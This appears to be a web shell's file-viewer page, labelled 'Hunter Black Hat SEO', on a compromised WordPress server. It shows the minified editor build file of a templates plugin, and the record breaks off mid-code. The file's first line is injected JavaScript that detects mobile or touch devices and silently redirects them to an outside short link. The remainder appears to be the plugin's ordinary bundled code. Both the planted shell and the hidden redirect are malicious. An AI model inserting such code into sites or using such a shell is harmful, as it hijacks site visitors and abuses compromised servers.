Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/yac.al/alb/wp-content/plugins/templates-patterns-collection/editor/build/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
(()=>{var e={485:(e,t)=>{var a;!function(){"use strict";var r={}.hasOwnProperty;function l(){for(var e=[],t=0;t<arguments.length;t++){var a=arguments[t];if(a){var s=typeof a;if("string"===s||"number"===s)e.push(a);else if(Array.isArray(a)&&a.length){var n=l.apply(null,a);n&&e.push(n)}else if("object"===s)for(var i in a)r.call(a,i)&&a[i]&&e.push(i)}}return e.join(" ")}e.exports?(l.default=l,e.exports=l):void 0===(a=function(){return l}.apply(t,[]))||(e.exports=a)}()},454:e=>{"use strict";var t="%[a-f0-9]{2}",a=new RegExp(t,"gi"),r=new RegExp("("+t+")+","gi");function l(e,t){try{return decodeURIComponent(e.join(""))}catch(e){}if(1===e.length)return e;t=t||1;var a=e.slice(0,t),r=e.slice(t);return Array.prototype.concat.call([],l(a),l(r))}function s(e){try{return decodeURIComponent(e)}catch(s){for(var t=e.match(a),r=1;r<t.length;r++)t=(e=l(t,r).join("")).match(a);return e}}e.exports=function(e){if("string"!=typeof e)throw new TypeError("Expected `encodedURI` to be of type `string`, got `"+typeof e+"`");try{return e=e.replace(/\+/g," "),decodeURIComponent(e)}catch(t){return function(e){for(var t={"%FE%FF":"��","%FF%FE":"��"},a=r.exec(e);a;){try{t[a[0]]=decodeURIComponent(a[0])}catch(e){var l=s(a[0]);l!==a[0]&&(t[a[0]]=l)}a=r.exec(e)}t["%C2"]="�";for(var n=Object.keys(t),i=0;i<n.length;i++){var o=n[i];e=e.replace(new RegExp(o,"g"),t[o])}return e}(e)}}},663:(e,t,a)=>{"use strict";const r=a(280),l=a(454),s=a(528);function n(e){if("string"!=typeof e||1!==e.length)throw new TypeError("arrayFormatSeparator must be single character string")}function i(e,t){return t.encode?t.strict?r(e):encodeURIComponent(e):e}function o(e,t){return t.decode?l(e):e}function c(e){return Array.isArray(e)?e.sort():"object"==typeof e?c(Object.keys(e)).sort(((e,t)=>Number(e)-Number(t))).map((t=>e[t])):e}function p(e){const t=e.indexOf("#");return-1!==t&&(e=e.slice(0,t)),e}function m(e){const t=(e=p(e)).indexOf("?");return-1===t?"":e.slice(t+1)}function u(e,t){return t.parseNumbers&&!Number.isNaN(Number(e))&&"string"==typeof e&&""!==e.trim()?e=Number(e):!t.parseBooleans||null===e||"true"!==e.toLowerCase()&&"false"!==e.toLowerCase()||(e="true"===e.toLowerCase()),e}function d(e,t){n((t=Object.assign({decode:!0,sort:!0,arrayFormat:"none",arrayFormatSeparator:",",parseNumbers:!1,parseBooleans:!1},t)).arrayFormatSeparator);const a=function(e){let t;switch(e.arrayFormat){case"index":return(e,a,r)=>{t=/\[(\d*)\]$/.exec(e),e=e.replace(/\[\d*\]$/,""),t?(void 0===r[e]&&(r[e]={}),r[e][t[1]]=a):r[e]=a};case"bracket":return(e,a,r)=>{t=/(\[\])$/.exec(e),e=e.replace(/\[\]$/,""),t?void 0!==r[e]?r[e]=[].concat(r[e],a):r[e]=[a]:r[e]=a};case"comma":case"separator":return(t,a,r)=>{const l="string"==typeof a&&a.includes(e.arrayFormatSeparator),s="string"==typeof a&&!l&&o(a,e).includes(e.arrayFormatSeparator);a=s?o(a,e):a;const n=l||s?a.split(e.arrayFormatSeparator).map((t=>o(t,e))):null===a?a:o(a,e);r[t]=n};default:return(e,t,a)=>{void 0!==a[e]?a[e]=[].concat(a[e],t):a[e]=t}}}(t),r=Object.create(null);if("string"!=typeof e)return r;if(!(e=e.trim().replace(/^[?#&]/,"")))return r;for(const l of e.split("&")){let[e,n]=s(t.decode?l.replace(/\+/g," "):l,"=");n=void 0===n?null:["comma","separator"].includes(t.arrayFormat)?n:o(n,t),a(o(e,t),n,r)}for(const e of Object.keys(r)){const a=r[e];if("object"==typeof a&&null!==a)for(const e of Object.keys(a))a[e]=u(a[e],t);else r[e]=u(a,t)}return!1===t.sort?r:(!0===t.sort?Object.keys(r).sort():Object.keys(r).sort(t.sort)).reduce(((e,t)=>{const a=r[t];return Boolean(a)&&"object"==typeof a&&!Array.isArray(a)?e[t]=c(a):e[t]=a,e}),Object.create(null))}t.extract=m,t.parse=d,t.stringify=(e,t)=>{if(!e)return"";n((t=Object.assign({encode:!0,strict:!0,arrayFormat:"none",arrayFormatSeparator:","},t)).arrayFormatSeparator);const a=a=>t.skipNull&&null==e[a]||t.skipEmptyString&&""===e[a],r=function(e){switch(e.arrayFormat){case"index":return t=>(a,r)=>{const l=a.length;return void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?a:null===r?[...a,[i(t,e),"[",l,"]"].join("")]:[...a,[i(t,e),"[",i(l,e),"]=",i(r,e)].join("")]};case"bracket":return t=>(a,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?a:null===r?[...a,[i(t,e),"[]"].join("")]:[...a,[i(t,e),"[]=",i(r,e)].join("")];case"comma":case"separator":return t=>(a,r)=>null==r||0===r.length?a:0===a.length?[[i(t,e),"=",i(r,e)].join("")]:[[a,i(r,e)].join(e.arrayFormatSeparator)];default:return t=>(a,r)=>void 0===r||e.skipNull&&null===r||e.skipEmptyString&&""===r?a:null===r?[...a,i(t,e)]:[...a,[i(t,e),"=",i(r,e)].join("")]}}(t),l={};for(const t of Object.keys(e))a(t)||(l[t]=e[t]);const s=Object.keys(l);return!1!==t.sort&&s.sort(t.sort),s.map((a=>{const l=e[a];return void 0===l?"":null===l?i(a,t):Array.isArray(l)?l.reduce(r(a),[]).join("&"):i(a,t)+"="+i(l,t)})).filter((e=>e.length>0)).join("&")},t.parseUrl=(e,t)=>{t=Object.assign({decode:!0},t);const[a,r]=s(e,"#");return Object.assign({url:a.split("?")[0]||"",query:d(m(e),t)},t&&t.parseFragmentIdentifier&&r?{fragmentIdentifier:o(r,t)}:{})},t.stringifyUrl=(e,a)=>{a=Object.assign({encode:!0,strict:!0},a);const r=p(e.url).split("?")[0]||"",l=t.extract(e.url),s=t.parse(l,{sort:!1}),n=Object.assign(s,e.query);let o=t.stringify(n,a);o&&(o=`?${o}`);let c=function(e){let t="";const a=e.indexOf("#");return-1!==a&&(t=e.slice(a)),t}(e.url);return e.fragmentIdentifier&&(c=`#${i(e.fragmentIdentifier,a)}`),`${r}${o}${c}`}},528:e=>{"use strict";e.exports=(e,t)=>{if("string"!=typeof e||"string"!=typeof t)throw new TypeError("Expected the arguments to be of type `string`");if(""===t)return[e];const a=e.indexOf(t);return-1===a?[e]:[e.slice(0,a),e.slice(a+t.length)]}},280:e=>{"use strict";e.exports=e=>encodeURIComponent(e).replace(/[!'()*]/g,(e=>`%${e.charCodeAt(0).toString(16).toUpperCase()}`))}},t={};function a(r){var l=t[r];if(void 0!==l)return l.exports;var s=t[r]={exports:{}};return e[r](s,s.exports,a),s.exports}a.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return a.d(t,{a:t}),t},a.d=(e,t)=>{for(var r in t)a.o(t,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},a.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";const e=window.wp.i18n,t=window.wp.plugins,r=window.wp.blocks,l=window.wp.data,s={isFetching:!0,isPreview:!1,tab:"library",templates:[],patterns:[],library:{items:[],currentPage:0,totalPages:0},preview:{type:"templates",item:{}}};(0,l.registerStore)("tpc/block-editor",{reducer:(e=s,t)=>"SET_FETCHING"===t.type?{...e,isFetching:t.isFetching}:"TOGGLE_PREVIEW"===t.type?{...e,isPreview:!e.isPreview}:"UPDATE_CURRENT_TAB"===t.type?{...e,tab:t.tab,isPreview:!1}:"UPDATE_TEMPLATES"===t.type?{...e,templates:{items:t.items,currentPage:Number(t.currentPage),totalPages:Number(t.totalPages)}}:"UPDATE_PATTERNS"===t.type?{...e,patterns:t.items}:"UPDATE_LIBRARY"===t.type?{...e,library:{items:t.items,currentPage:Number(t.currentPage),totalPages:Number(t.totalPages)}}:"SET_PREVIEW_DATA"===t.type?{...e,preview:t.preview}:e,selectors:{isFetching:e=>e.isFetching,isPreview:e=>e.isPreview,getCurrentTab:e=>e.tab,getTemplates:e=>e.templates,getPatterns:e=>e.patterns,getLibrary:e=>e.library,getPreview:e=>e.preview},actions:{setFetching:e=>({type:"SET_FETCHING",isFetching:e}),togglePreview:e=>({type:"TOGGLE_PREVIEW",isPreview:e}),updateCurrentTab:e=>({type:"UPDATE_CURRENT_TAB",tab:e}),updateTemplates:(e,t,a)=>({type:"UPDATE_TEMPLATES",items:e,currentPage:t,totalPages:a}),updatePatterns:e=>({type:"UPDATE_PATTERNS",items:e}),updateLibrary:(e,t,a)=>({type:"UPDATE_LIBRARY",items:e,currentPage:t,totalPages:a}),setPreviewData:e=>({type:"SET_PREVIEW_DATA",preview:e})}});const n=window.React;var i=a(485),o=a.n(i);const{Path:c,SVG:p}=wp.primitives,m=({className:e})=>(0,n.createElement)(p,{width:"24",height:"24",viewBox:"0 0 24 24",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:o()(["tpc-icon",e])},(0,n.createElement)(c,{d:"M22.8063 24H1.19365C0.534714 24 0 23.4653 0 22.8063V1.19365C0 0.534714 0.534714 0 1.19365 0H22.8063C23.4653 0 24 0.534714 24 1.19365V22.8063C24 23.4653 23.4653 24 22.8063 24Z",fill:"#14171C"}),(0,n.createElement)(c,{d:"M19.8466 20.8187V7.39687V4.43164H16.884H3.45947L6.422 7.39687H16.884V17.8562L19.8466 20.8187Z",fill:"white"}),(0,n.createElement)(c,{d:"M10.138 14.1429L10.1407 17.0838L12.7764 19.7195L12.7656 11.5152L4.55859 11.5044L7.19435 14.1375L10.138 14.1429Z",fill:"white"})),u=()=>(0,n.createElement)(p,{width:"100",height:"100",viewBox:"0 0 100 100",fill:"none",xmlns:"http://www.w3.org/2000/svg",className:"tpc-template-cloud-icon"},(0,n.createElement)(c,{d:"M95.0264 100H4.97356C2.22797 100 0 97.772 0 95.0264V4.97356C0 2.22797 2.22797 0 4.97356 0H95.0264C97.772 0 100 2.22797 100 4.97356V95.0264C100 97.772 97.772 100 95.0264 100Z",fill:"#0366D6"}),(0,n.createElement)(c,{d:"M82.6941 86.7448V30.8205V18.4653H70.3502H14.4146L26.7584 30.8205H70.3502V74.401L82.6941 86.7448Z",fill:"white"}),(0,n.createElement)(c,{d:"M42.2416 58.9291L42.2528 71.183L53.2352 82.1653L53.1902 47.9806L18.9941 47.9355L29.9765 58.9066L42.2416 58.9291Z",fill:"white"})),d=window.wp.apiFetch;var _=a.n(d);const g=window.wp.components,h=window.wp.editPost,y=window.wp.element;var w,E=a(663),b=new Uint8Array(16);function v(){if(!w&&!(w="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto)))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return w(b)}const f=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;for(var S=[],k=0;k<256;++k)S.push((k+256).toString(16).substr(1));const T=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,a=(S[e[t+0]]+S[e[t+1]]+S[e[t+2]]+S[e[t+3]]+"-"+S[e[t+4]]+S[e[t+5]]+"-"+S[e[t+6]]+S[e[t+7]]+"-"+S[e[t+8]]+S[e[t+9]]+"-"+S[e[t+10]]+S[e[t+11]]+S[e[t+12]]+S[e[t+13]]+S[e[t+14]]+S[e[t+15]]).toLowerCase();if(!function(e){return"string"==typeof e&&f.test(e)}(a))throw TypeError("Stringified UUID is invalid");return a},P=function(e,t,a){var r=(e=e||{}).random||(e.rng||v)();if(r[6]=15&r[6]|64,r[8]=63&r[8]|128,t){a=a||0;for(var l=0;l<16;++l)t[a+l]=r[l];return t}return T(r)},{updateLibrary:C,updateTemplates:N}=(0,l.dispatch)("tpc/block-editor"),{createNotice:B}=(0,l.dispatch)("core/notices"),{meta:F,...O}=tiTpc.params,x=e=>{B("warning",e,{context:"themeisle-blocks/notices/templates-cloud",isDismissible:!0})},L=async(e={})=>{const t={cache:localStorage.getItem("tpcCacheBuster"),...O,per_page:12,page:0,premade:!0,template_site_slug:"general",...e};"gutenberg"===tiTpc.params.type&&t.showFSE&&(t.type=["gutenberg","fse"]);const a=(0,E.stringifyUrl)({url:tiTpc.endpoint+"page-templates",query:t},{arrayFormat:"bracket"});try{const e=await _()({url:a,method:"GET",parse:!1});if(e.ok){const a=await e.json();if(a.message)return x(a.message);const r=e.headers.get("x-wp-totalpages"),l=t.page;N(a,l,r)}}catch(e){e.message&&x(e.message)}},D=async(e={})=>{const t={per_page:12,page:0,...e};"gutenberg"===tiTpc.params.type&&t.showFSE&&(t.type=["gutenberg","fse"]);const a=(0,E.stringifyUrl)({url:tiTpc.endpoint+"templates",query:{cache:localStorage.getItem("tpcCacheBuster"),...O,...t}},{arrayFormat:"bracket"});try{const e=await _()({url:a,method:"GET",parse:!1});if(e.ok){const a=await e.json();if(a.message)return x(a.message);const r=e.headers.get("x-wp-totalpages"),l=t.page;C(a,l,r)}}catch(e){e.message&&x(e.message)}},I=async e=>{const t=(0,E.stringifyUrl)({url:`${window.tiTpc.endpoint}templates/${e}`,query:{cache:localStorage.getItem("tpcCacheBuster"),...O}});try{const e=await _()({url:t,method:"GET",parse:!1});if(e.ok){const t=await e.json();return!t.message&&t}}catch(e){return!1}},U=async e=>{const t=(0,E.stringifyUrl)({url:`${tiTpc.endpoint}templates/${e}/import`,query:{cache:localStorage.getItem("tpcCacheBuster"),...O}});let a={};try{const e=await _()({url:t,method:"GET",parse:!1});if(e.ok&&(a=await e.json(),a.message))return x(a.message)}catch(e){e.message&&x(e.message)}return a},R=async(e,t,a,r,l)=>{const s=(0,E.stringifyUrl)({url:`${tiTpc.endpoint}templates/${e}/publish`,query:{cache:localStorage.getItem("tpcCacheBuster"),method:"POST",template_site_slug:t,template_thumbnail:a,premade:r?"yes":"no",link:l,...O}});try{const e=await _()({url:s,method:"POST",headers:{Authorization:`Bearer  ${tiTpc.bearer||""} `}});if(e.ok){const t=await e.json();if(t.message)return x(t.message),{success:!1}}else if(e.message)return x(e.message),{success:!1};return localStorage.setItem("tpcCacheBuster",P()),{success:!0}}catch(e){if(e.message)return x(e.message),{success:!1}}},M=({canPredefine:t,setLoading:a,templateData:r,setScreenshotURL:l,setPublished:s,saveMeta:i,createSuccessNotice:c,published:p,createErrorNotice:m,isLoading:u})=>{if(!t)return null;const{_ti_tpc_template_id:d,_ti_tpc_site_slug:_,_ti_tpc_screenshot_url:h,_ti_tpc_published:y,link:w}=r;return(0,n.createElement)(g.Button,{isSecondary:!0,onClick:async()=>{a("publishing");try{await R(d,_,h,!y,w).then((async t=>{t.success&&await I(d).then((t=>{d===t.template_id&&(l(t.template_thumbnail),s(!p),i({...r,_ti_tpc_published:!p}),c(p?(0,e.__)("Template Unpublished.","templates-patterns-collection"):(0,e.__)("Template Published.","templates-patterns-collection"),{type:"snackbar"}))}))}))}catch(t){m((0,e.__)("Something happened when publishing the template.","templates-patterns-collection"))}a(!1)},disabled:!1!==u,className:o()({"is-loading":"publishing"===u})},p&&("publishing"===u?(0,e.__)("Unpublishing","templates-patterns-collection"):(0,e.__)("Unpublish","templates-patterns-collection")),!p&&("publishing"===u?(0,e.__)("Publishing","templates-patterns-collection"):(0,e.__)("Publish","templates-patterns-collection")))},j=()=>{const e=(0,l.useSelect)((e=>e("core/notices").getNotices("themeisle-blocks/notices/templates-cloud"))),{removeNotice:t}=(0,l.useDispatch)("core/notices");return(0,n.createElement)("div",{className:"notices"},e.map((e=>(0,n.createElement)(g.Notice,{key:e.id,status:e.status,isDismissible:e.isDismissible,onRemove:()=>t(e.id,"themeisle-blocks/notices/templates-cloud"),actions:e.actions},e.content))))},A=window.wp.coreData,V=window.wp.api;var z=a.n(V);const H=({templateData:t,setTemplateData:a,canPredefine:r,setLoading:l,createErrorNotice:s,createSuccessNotice:i,isLoading:c,saveMeta:p})=>{const m=e=>{a({...t,_ti_tpc_screenshot_url:e})};return(0,n.createElement)(g.PanelBody,null,(0,n.createElement)("h4",null,(0,e.__)("Publish Settings","templates-patterns-collection")),(0,n.createElement)(g.TextControl,{label:(0,e.__)("Screenshot URL","templates-patterns-collection"),value:t._ti_tpc_screenshot_url||"",help:(0,e.__)("Use `{generate_ss}` to publish this and have a screenshot automatically generated. Otherwise use the url to point to an image location for the template preview.","templates-patterns-collection"),type:"url",onChange:m}),(0,n.createElement)(g.TextControl,{label:(0,e.__)("Site Slug","templates-patterns-collection"),value:t._ti_tpc_site_slug,help:(0,e.__)("Use `general` to publish this as a global template. Otherwise use the starter site slug to make it available as a single page for the starter site.","templates-patterns-collection"),type:"url",onChange:e=>a({...t,_ti_tpc_site_slug:e})}),(0,n.createElement)(g.TextControl,{label:(0,e.__)("Previewer URL","templates-patterns-collection"),value:t._ti_tpc_previewer_url||"",help:(0,e.__)("Provide a URL to a previewer for this template. This will be used to display a preview of the template in the editor.","templates-patterns-collection"),type:"url",onChange:e=>a({...t,_ti_tpc_previewer_url:e})}),(0,n.createElement)(M,{canPredefine:r,setLoading:l,templateData:{...t,link:t._ti_tpc_previewer_url},setScreenshotURL:m,setPublished:e=>{a({...t,_ti_tpc_published:e})},saveMeta:p,published:t._ti_tpc_published||!1,createErrorNotice:s,createSuccessNotice:i,isLoading:c}),t._ti_tpc_published&&(0,n.createElement)(g.Button,{isLink:!0,icon:"image-rotate",onClick:async()=>{l("publishing");try{await I(t._ti_tpc_template_id).then((a=>{t._ti_tpc_template_id===a.template_id&&(a.template_thumbnail&&(m(a.template_thumbnail),p({...t,_ti_tpc_screenshot_url:a.template_thumbnail})),i((0,e.__)("Template Data Refreshed.","templates-patterns-collection"),{type:"snackbar"}))}))}catch(t){s((0,e.__)("Something happened when refreshing the template data.","templates-patterns-collection"))}l(!1)},disabled:!1!==c,className:o()({"is-loading":"publishing"===c}),style:{marginLeft:"12px",textDecoration:"none"}},(0,e.__)("Refresh","templates-patterns-collection")),(0,n.createElement)(j,null))},G=window.wp.primitives,$=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M13 11.8l6.1-6.3-1-1-6.1 6.2-6.1-6.2-1 1 6.1 6.3-6.5 6.7 1 1 6.5-6.6 6.5 6.6 1-1z"})),q=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,y.createElement)(G.Path,{d:"M10.2 3.28c3.53 0 6.43 2.61 6.92 6h2.08l-3.5 4-3.5-4h2.32c-.45-1.97-2.21-3.45-4.32-3.45-1.45 0-2.73.71-3.54 1.78L4.95 5.66C6.23 4.2 8.11 3.28 10.2 3.28zm-.4 13.44c-3.52 0-6.43-2.61-6.92-6H.8l3.5-4c1.17 1.33 2.33 2.67 3.5 4H5.48c.45 1.97 2.21 3.45 4.32 3.45 1.45 0 2.73-.71 3.54-1.78l1.71 1.95c-1.28 1.46-3.15 2.38-5.25 2.38z"})),Q=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M13 11.9l3.3-3.4-1.1-1-3.2 3.3-3.2-3.3-1.1 1 3.3 3.4-3.5 3.6 1 1L12 13l3.5 3.5 1-1z"})),J=({closeModal:t,getOrder:a,getSearchQuery:r})=>{const{setFetching:s,updateCurrentTab:i}=(0,l.useDispatch)("tpc/block-editor"),c={library:(0,e.__)("My Library","templates-patterns-collection")},p=(0,l.useSelect)((e=>e("tpc/block-editor").isFetching())),m=(0,l.useSelect)((e=>e("tpc/block-editor").isPreview())),d=(0,l.useSelect)((e=>e("tpc/block-editor").getCurrentTab()));return(0,n.createElement)("div",{className:"modal-header"},(0,n.createElement)("div",{className:"left"},(0,n.createElement)(g.Icon,{icon:u})),(0,n.createElement)("div",{className:"center"},Object.keys(c).map((e=>(0,n.createElement)(g.Button,{key:e,onClick:()=>i(e),className:o()("tabs",{"is-active":e===d})},c[e])))),(0,n.createElement)("div",{className:"right"},"library"===d&&!m&&(0,n.createElement)(g.ButtonGroup,null,(0,n.createElement)(g.Button,{label:(0,e.__)("Re-sync Library","templates-patterns-collection"),icon:q,disabled:p,className:o()("is-sync",{"is-loading":p}),onClick:async()=>{window.localStorage.setItem("tpcCacheBuster",P()),s(!0);const e=a();await L({search:r(),...e,showFSE:!!tiTpc.isFSETheme&&"true"===window?.localStorage?.tpcShowFse}),await D({search:r(),...e,showFSE:!!tiTpc.isFSETheme&&"true"===window?.localStorage?.tpcShowFse}),s(!1)}})),(0,n.createElement)(g.Button,{label:(0,e.__)("Close Modal","templates-patterns-collection"),icon:Q,onClick:t})))},W=window.wp.compose,Z=window.wp.blockEditor,Y=({isFetching:t,importBlocks:a})=>{const s=(0,W.useViewportMatch)("large",">="),i=(0,W.useViewportMatch)("large","<="),o=(0,W.useViewportMatch)("small",">="),c=(0,W.useViewportMatch)("small","<=");let p=1400;s||i||!o||c?!(s||i||o||c)&&(p=600):p=960;const{setFetching:m,togglePreview:u}=(0,l.useDispatch)("tpc/block-editor"),{item:d}=(0,l.useSelect)((e=>e("tpc/block-editor").getPreview()));(0,y.useEffect)((()=>{w()}),[]);const[_,h]=(0,y.useState)(""),w=async()=>{m(!0),await E(),m(!1)},E=async()=>{m(!0);const e=await U(d.template_id);e.__file&&e.content&&"wp_export"===e.__file&&h(e.content),m(!1)};return(0,n.createElement)("div",{className:"tpc-modal-content"},(0,n.createElement)("div",{className:"preview-header"},(0,n.createElement)("div",{className:"left"},d.template_name||(0,e.__)("Template","templates-patterns-collection")),(0,n.createElement)("div",{className:"right"},(0,n.createElement)(g.Button,{isSecondary:!0,onClick:u},(0,e.__)("Close Preview","templates-patterns-collection")),(0,n.createElement)(g.Button,{isPrimary:!0,isBusy:t,disabled:t,onClick:()=>{u(),a(_,d.meta||[])}},(0,e.__)("Import","templates-patterns-collection")))),t?(0,n.createElement)(g.Placeholder,null,(0,n.createElement)(g.Spinner,null)):(0,n.createElement)("div",{className:"preview-content"},(0,n.createElement)(Z.BlockPreview,{blocks:(0,r.parse)(_),viewportWidth:p})))},K=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"})),X=(0,y.createElement)(G.SVG,{xmlns:"https://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M3 15h18v-2H3v2zm0 4h18v-2H3v2zm0-8h18V9H3v2zm0-6v2h18V5H3z"})),ee=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm-7.8 16.5H5c-.3 0-.5-.2-.5-.5v-6.2h6.8v6.7zm0-8.3H4.5V5c0-.3.2-.5.5-.5h6.2v6.7zm8.3 7.8c0 .3-.2.5-.5.5h-6.2v-6.8h6.8V19zm0-7.8h-6.8V4.5H19c.3 0 .5.2.5.5v6.2z",fillRule:"evenodd",clipRule:"evenodd"})),te=window.wp.keycodes,ae={date:(0,e.__)("Date","templates-patterns-collection"),template_name:(0,e.__)("Name","templates-patterns-collection"),modified:(0,e.__)("Last Modified","templates-patterns-collection")},re=({showFSE:t,onFSEChange:a,layout:r,sortingOrder:l,setLayout:s,isSearch:i,searchQuery:c,onSearch:p,setSearchQuery:m,setSortingOrder:u,changeOrder:d})=>(0,n.createElement)("div",{className:"filters"},(0,n.createElement)("div",{className:"display-sorting"},(0,n.createElement)("div",{className:"sorting-label"},(0,e.__)("Sort by","templates-patterns-collection")),(0,n.createElement)("div",{className:"sorting-filter"},Object.keys(ae).map((e=>(0,n.createElement)(g.Button,{key:e,className:o()({"is-selected":e===l.orderby,"is-asc":"ASC"===l.order}),onClick:()=>{const t={order:"DESC",orderby:e};e===l.orderby&&"DESC"===l.order&&(t.order="ASC"),u({...t}),d({...t})}},ae[e])))),"gutenberg"===tiTpc.params.type&&tiTpc.isFSETheme&&(0,n.createElement)("div",{className:"filter-fse"},(0,n.createElement)(g.ToggleControl,{label:(0,e.__)("Show FSE Templates","templates-patterns-collection"),onChange:a,checked:t}))),(0,n.createElement)("div",{className:"view-filters"},(0,n.createElement)("div",{className:"search-filters"},(0,n.createElement)("input",{placeholder:(0,e.__)("Search for a template…","templates-patterns-collection"),className:"filter-search",value:c,onChange:e=>m(e.target.value),onKeyDown:e=>{e.keyCode===te.ENTER&&p()}}),i?(0,n.createElement)(g.Button,{label:(0,e.__)("Clear search query","templates-patterns-collection"),icon:Q,onClick:()=>{m(""),p("")}}):(0,n.createElement)(g.Button,{label:(0,e.__)("Search","templates-patterns-collection"),icon:K,onClick:()=>p()})),(0,n.createElement)(g.Button,{label:(0,e.__)("List View","templates-patterns-collection"),icon:X,onClick:()=>s("list"),isPressed:"list"===r}),(0,n.createElement)(g.Button,{label:(0,e.__)("Grid View","templates-patterns-collection"),icon:ee,onClick:()=>s("grid"),isPressed:"grid"===r}))),le=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M20.1 5.1L16.9 2 6.2 12.7l-1.3 4.4 4.5-1.3L20.1 5.1zM4 20.8h8v-1.5H4v1.5z"})),se=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M18.3 5.6L9.9 16.9l-4.6-3.4-.9 1.2 5.8 4.3 9.3-12.6z"})),ne=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},(0,y.createElement)(G.Path,{d:"M12 4h3c.6 0 1 .4 1 1v1H3V5c0-.6.5-1 1-1h3c.2-1.1 1.3-2 2.5-2s2.3.9 2.5 2zM8 4h3c-.2-.6-.9-1-1.5-1S8.2 3.4 8 4zM4 7h11l-.9 10.1c0 .5-.5.9-1 .9H5.9c-.5 0-.9-.4-1-.9L4 7z"})),ie=(0,y.createElement)(G.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,y.createElement)(G.Path,{d:"M7 5.5h10a.5.5 0 01.5.5v12a.5.5 0 01-.5.5H7a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM17 4H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V6a2 2 0 00-2-2zm-1 3.75H8v1.5h8v-1.5zM8 11h8v1.5H8V11zm6 3.25H8v1.5h6v-1.5z"})),oe=({sortingOrder:t,layout:a,item:r,importBlocks:s,deletable:i})=>{const{togglePreview:c,setPreviewData:p}=(0,l.useDispatch)("tpc/block-editor"),[m,u]=(0,y.useState)(!1),[d,h]=(0,y.useState)(!1),[w,b]=(0,y.useState)(r.template_name),v=async()=>{u("importing");const e=await U(r.template_id);e.__file&&e.content&&"wp_export"===e.__file&&s(e.content,r.meta||[],r.template_type),u(!1)},f=async()=>{u("updating"),await(async e=>{const t=(0,E.stringifyUrl)({url:`${tiTpc.endpoint}templates/${e.template_id}`,query:{cache:localStorage.getItem("tpcCacheBuster"),...O,meta:JSON.stringify(tiTpc.params.meta),...e}});try{const e=await _()({url:t,method:"POST",parse:!1});if(e.ok){const t=await e.json();if(t.message)return x(t.message)}localStorage.setItem("tpcCacheBuster",P()),await L()}catch(e){e.message&&x(e.message)}})({template_id:r.template_id,template_name:w||r.template_name}),await D(t),u(!1),h(!d)},S=async()=>{if(!window.confirm((0,e.__)("Are you sure you want to delete this template?","templates-patterns-collection")))return!1;u("deleting"),await(async(e,t)=>{const a=(0,E.stringifyUrl)({url:`${tiTpc.endpoint}templates/${e}`,query:{cache:localStorage.getItem("tpcCacheBuster"),_method:"DELETE",...O}});try{const e=await _()({url:a,method:"POST"});if(e.ok){const t=await e.json();if(t.message)return x(t.message)}localStorage.setItem("tpcCacheBuster",P()),await D(t)}catch(e){e.message&&x(e.message)}})(r.template_id,t),u(!1)},k=async()=>{c(),p({type:"library",item:r})};if("grid"===a){const 